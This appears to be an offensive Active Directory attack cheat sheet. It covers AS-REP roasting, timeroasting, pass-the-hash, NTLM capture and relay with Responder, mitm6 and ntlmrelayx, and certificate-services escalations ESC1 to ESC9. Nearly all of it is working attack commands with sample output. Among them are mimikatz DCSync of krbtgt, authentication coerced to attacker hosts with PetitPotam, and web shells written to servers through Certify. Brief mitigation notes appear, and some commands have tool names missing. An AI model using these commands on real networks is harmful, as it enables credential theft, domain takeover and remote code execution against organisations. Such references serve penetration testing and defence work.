If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements: - Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

  • Rubeus

    C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
    [*] Action: AS-REP roasting
    [*] Target User            : TestOU3user
    [*] Target Domain          : testlab.local
    [*] SamAccountName         : TestOU3user
    [*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
    [*] Using domain controller: testlab.local (
    [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
    [*] Connecting to
    [*] Sent 169 bytes
    [*] Received 1437 bytes
    [+] AS-REQ w/o preauth successful!
    [*] AS-REP hash:

  • GetNPUsers from Impacket Suite

    $ python htb.local/svc-alfresco -no-pass
    [*] Getting TGT for svc-alfresco
    # extract hashes
    root@kali:impacket-examples$ python jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
    root@kali:impacket-examples$ python jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

  • CrackMapExec Module

    $ crackmapexec ldap -u 'username' -p 'password' --kdcHost --asreproast output.txt
    LDAP       389    dc01           $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5

Using hashcat or john to crack the ticket.

# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast

Mitigations: * All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).


CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..

Research from Project Zero :

Requirements: - Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

  • using
    user@hostname:~$ python DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
    user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
    user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares

Mitigations: * All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default). * Disable RC4 cipher if possible.


Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID

  • SecuraBV/Timeroast - Timeroasting scripts by Tom Tervoort
    sudo ./ | tee ntp-hashes.txt
    hashcat -m 31300 ntp-hashes.txt


The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

  • Metasploit
    use exploit/windows/smb/psexec
    set RHOST
    set SMBUser jarrieta
    set SMBPass nastyCutt3r  
    # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
    # NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
    set PAYLOAD windows/meterpreter/bind_tcp
  • CrackMapExec
    cme smb -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
  • Impacket suite
    proxychains python ./ jarrieta@ -hashes :489a04c09a5debbc9b975356693e179d
  • Windows RDP and mimikatz
    sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
    sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"

You can extract the local SAM database to find the local administrator hash :

C:\> reg.exe save hklm\sam c:\temp\
C:\> reg.exe save hklm\security c:\temp\
C:\> reg.exe save hklm\system c:\temp\
$ -sam -security -system LOCAL

OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

Using impacket

root@kali:~$ python ./ -hashes ":1a59bd44fe5bec39c44c8cd3524dee"
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

# also with the AES Key if you have it
root@kali:~$ ./ -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist

Using Rubeus

# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

Capturing and cracking Net-NTLMv1/NTLMv1 hashes/tokens

Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication (they are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys.

ℹ : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.

Requirements: * LmCompatibilityLevel = 0x1: Send LM & NTLM (reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel)

Exploitation: * Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical 1122334455667788 challenge

DNS = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
* Fire Responder: responder -I eth0 --lm, if --disable-ess is set, extended session security will be disabled for NTLMv1 authentication * Force a callback:
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
* If you got some NetNTLMv1 tokens, you can try to shuck them online via Shuck.Sh or locally/on-premise via ShuckNT to get NT-hashes corresponding from HIBP database. If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash (pass-the-hash ready) instantly. The shucking process works for any NetNTLMv1 with or without ESS/SSP (challenge != 1122334455667788) but mainly for user account (plaintext previsouly leaked).
# Submit NetNTLMv1 online to
# Or shuck them on-premise via ShuckNT script:
$ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via for free.
[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
        [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
* If you got some NetNTLMv1 tokens, you can also try to crack them via Crack.Sh (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on Crack.Sh. The Converter of Shuck.Sh can be used to convert format easily.
# When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
username::hostname:response:response:challenge -> NTHASH:response

# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
* Finaly, if no Shuck.Sh nor Crack.Sh can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on
* Now you can DCSync using the Pass-The-Hash with the DC machine account

⚠ NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= 1122334455667788, so chargeable on Crack.Sh).

⚠ NetNTLMv1 format is login::domain:lmresp:ntresp:clientChall. If the lmresp contains a 0's-padding this means that the token is protected by ESS/SSP.

⚠ NetNTLMv1 final challenge is the Responder's challenge itself (1122334455667788) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the Shuck.Sh Generator and detailed in MISCMag#128.

⚠ If you get some tokens from other tools (hostapd-wpe or chapcrack) in other formats, like tokens starting with the prefix $MSCHAPv2$, $NETNTLM$ or $99$, they correspond to a classic NetNTLMv1 and can be converted from one format to another here.


  • Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM & NTLM

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

$ sudo ./ -I eth0 -wfrd -P -v

PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

PS > Invoke-Inveigh [-IP ''] -ConsoleOutput Y -FileOutput Y -NBNS Y mDNS Y Proxy Y -MachineAccounts Y

Crack the hashes with Hashcat / John The Ripper

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash Hashcat Attack method
LM 3000 crack/pass the hash
NTLM/NTHash 1000 crack/pass the hash
NTLMv1/Net-NTLMv1 5500 crack/relay attack
NTLMv2/Net-NTLMv2 5600 crack/relay attack

Crack the hash with hashcat.

hashcat -m 5600 -a 0 hash.txt crackstation.txt

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

LDAP signing not required and LDAP channel binding disabled

During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed: * LDAP signing not required (by default set to Not required) * LDAP channel binding is disabled. (by default disabled) * ms-DS-MachineAccountQuota needs to be at least at 1 for the account relayed (10 by default)

Then we can use a tool to poison LLMNR, MDNS and NETBIOS requests on the network such as Responder and use ntlmrelayx to add our computer.

# On first terminal
sudo ./ -I eth0 -wfrd -P -v

# On second terminal
sudo python ./ -t ldaps://IP_DC --add-computer
It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
    [Responder Core]
    ; Servers to start
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
  2. Run python -i IP_Range to detect machine with SMB signing:disabled.
  3. Run python -I <interface_card>
  4. Use a relay tool such as ntlmrelayx or MultiRelay
    • impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list.
    • python -t <target_machine_IP> -u ALL
  5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    # You might need to select a target with "-t"
    # smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
    impacket-ntlmrelayx -t mssql:// -socks -smb2support
    impacket-ntlmrelayx -t smb:// -socks -smb2support
    # the socks proxy can then be used with your Impacket tools or CrackMapExec
    $ proxychains impacket-smbclient // -U contoso/normaluser1
    $ proxychains impacket-mssqlclient DOMAIN/USER@ -windows-auth
    $ proxychains crackmapexec mssql -u user -p '' -d DOMAIN -q "SELECT 1"   


  • Disable LLMNR via group policy
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
  • Disable NBT-NS
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip -wh $attacker_ip -t ldaps://

Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
  • Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

    TERM1> python testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> testsegment/ntu@s2016dc.testsegment.local -just-dc

  • Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

    # create a new machine account
    TERM1> -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python relaytest.local/username@second-dc-server
    TERM1> -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
    # connect using the ticket
    export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache -k -no-pass second-dc-server.local -just-dc

Ghost Potato - CVE-2019-1384

Requirements: * User must be a member of the local Administrators group * User must be a member of the Backup Operators group * Token must be elevated

Using a modified version of ntlmrelayx :

ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe

RemotePotato0 DCOM DCE RPC relay

It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements: - a shell in session 0 (e.g. WinRm shell or SSH shell) - a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP: & # Can be omitted for Windows Server <= 2016
Terminal> sudo -t ldap:// --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r -p 9998 -s 2
Terminal> 'LAB/winrm_user_1:Password123!@'

DNS Poisonning - Relay delegation with mitm6

Requirements: - IPv6 enabled (Windows prefers IPV6 over IPv4) - LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

git clone 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist -ip -t ldaps://dc01.lab.local -wh attacker-wpad -ip -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
export KRB5CCNAME=administrator.ccache -k -no-pass target.lab.local  

Relaying with WebDav Trick

Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

Requirement: * WebClient service

Exploitation: * Disable HTTP in Responder: sudo vi /usr/share/responder/Responder.conf * Generate a Windows machine name: sudo responder -I eth0, e.g: WIN-UBNW4FI3AP0 * Prepare for RBCD against the DC: python3 -t ldaps://dc --delegate-access -smb2support * Discover WebDAV services

webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
* Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt. Specifying the IP results in anonymous auth instead of System.
# PrinterBug -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
* Use the created account to ask for a service ticket:
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
ls \\PC1.purple.lab\c$
# IP of PC1:

Man-in-the-middle RDP connections with pyrdp-mitm

  • Usage <IP> <IP>:<PORT> # with custom port <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
  • Exploitation
  • If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
  • If NLA is disabled, you will obtain the password in plaintext
  • Other features are available such as keystroke recording
  • Alternatives
  • S3th:, performs ARP spoofing prior to launching the RDP listener

Active Directory Certificate Services

  • Find ADCS Server
  • crackmapexec ldap domain.lab -u username -p password -M adcs
  • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
  • Enumerate AD Enterprise CAs with certutil: certutil.exe -config - -ping, certutil -dump

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.


  • Template that allows for AD authentication
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)


  • Use Certify.exe to see if there are any vulnerable templates
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage= (pkiextendedkeyusage=' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
  • Use OpenSSL and convert the certificate, do not enter a password
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx

WARNING: These certificates will still be usable even if the user or computer resets their password!


ESC2 - Misconfigured Certificate Templates


  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (


  • Find template
    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  • Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3.
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
    [*] Saved certificate and private key to 'john.pfx'
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate
    python3 domain.local/user -k -no-pass -template user -dc-ip -get-acl
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1
    python3 domain.local/user -k -no-pass -template user -dc-ip -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
    # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
    C:\>StandIn.exe --adcs --filter WebServer --ess --add
  • Perform ESC1 and then restore the value
    python3 domain.local/user -k -no-pass -template user -dc-ip -value 0 -property mspki-Certificate-Name-Flag

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json


If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.


  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
    Certify.exe cas
  • Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin


  • Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control


  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions
    Certify.exe find /vulnerable
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
    Certify.exe setconfig /enablesan /restart
  • Request the certificate with the desired SAN.
    Certify.exe request /template:User /altname:super.adm
  • Grant approval if required or disable the approval requirement
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam

    impacket> python3 -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
    impacket> python3 ./examples/ -t -smb2support --adcs --template VulnTemplate
    # For a member server or workstation, the template would be "Computer".
    # Other templates: workstation, DomainController, Machine, KerberosAuthentication
    # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
    # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
    git clone
    python3 -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
    python3 <listener> <target> -u <username> -p <password> -d <domain>
    python3 -u user1 -p Password1 -d lab.local
    # Use the certificate with rubeus to request a TGT
    Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
    Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
    # Now you can use the TGT to perform a DCSync
    mimikatz> lsadump::dcsync /user:krbtgt

  • Version 2: NTLM Relay + Mimikatz + Kekeo

    impacket> python3 ./examples/ -t -smb2support --adcs --template DomainController
    # Mimikatz
    mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
    # Kekeo
    kekeo> base64 /input:on
    kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
    # Mimikatz
    mimikatz> lsadump::dcsync /user:krbtgt

  • Version 3: Kerberos Relay

    # Setup the relay
    sudo --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
    # Run mitm6
    sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.
    adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
    adcspwn.exe --adcs cs.pwnlab.local
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
    # ADCSPwn arguments
    adcs            -       This is the address of the AD CS server which authentication will be relayed to.
    secure          -       Use HTTPS with the certificate service.
    port            -       The port ADCSPwn will listen on.
    remote          -       Remote machine to trigger authentication from.
    username        -       Username for non-domain context.
    password        -       Password for non-domain context.
    dc              -       Domain controller to query for Certificate Templates (LDAP).
    unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
    output          -       Output path to store base64 generated crt.

  • Version 5: Certipy ESC8

    certipy relay -ca

ESC9 - No Security Extension


  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B


John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
  • Request the vulnerable certificate template ESC9 from Jane's account.
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
  • Restore userPrincipalName of Jane to Jane@corp.local.
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
